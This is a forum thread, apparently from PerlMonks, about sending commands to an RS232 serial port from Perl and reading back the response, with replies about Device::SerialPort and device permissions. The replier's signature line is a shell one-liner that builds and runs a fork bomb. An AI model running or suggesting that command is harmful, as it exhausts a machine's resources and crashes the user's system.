in reply to send command to RS232, then get data from RS232

thanx to hossman,ibanix,pg
its seens no way to do this kind job,now i think an other way: just call a system tool to send command to rs232, then get the respond back into perl script, can anyone tell me what kind tools can just send command and get respond in console? not like kermit or miniterm will chang the term and cant get the respond in console

thanx thanx thanx...
  • Comment on Re: send command to RS232, then get data from RS232

Replies are listed 'Best First'.
Re: Re: send command to RS232, then get data from RS232
by ibanix (Hermit) on Dec 26, 2002 at 05:54 UTC
    I don't think your idea is flawed.

    You need to check that your Device::SerialPort object was properly created; and that you have the right permissions to access /dev/ttyS0. Once that's working, you should be able to get the rest working. Don't give up now! :-)

    And yes, you should email the package owner and inform him of this bug, as the poster above suggested.

    $ echo '$0 & $0 &' > foo; chmod a+x foo; foo;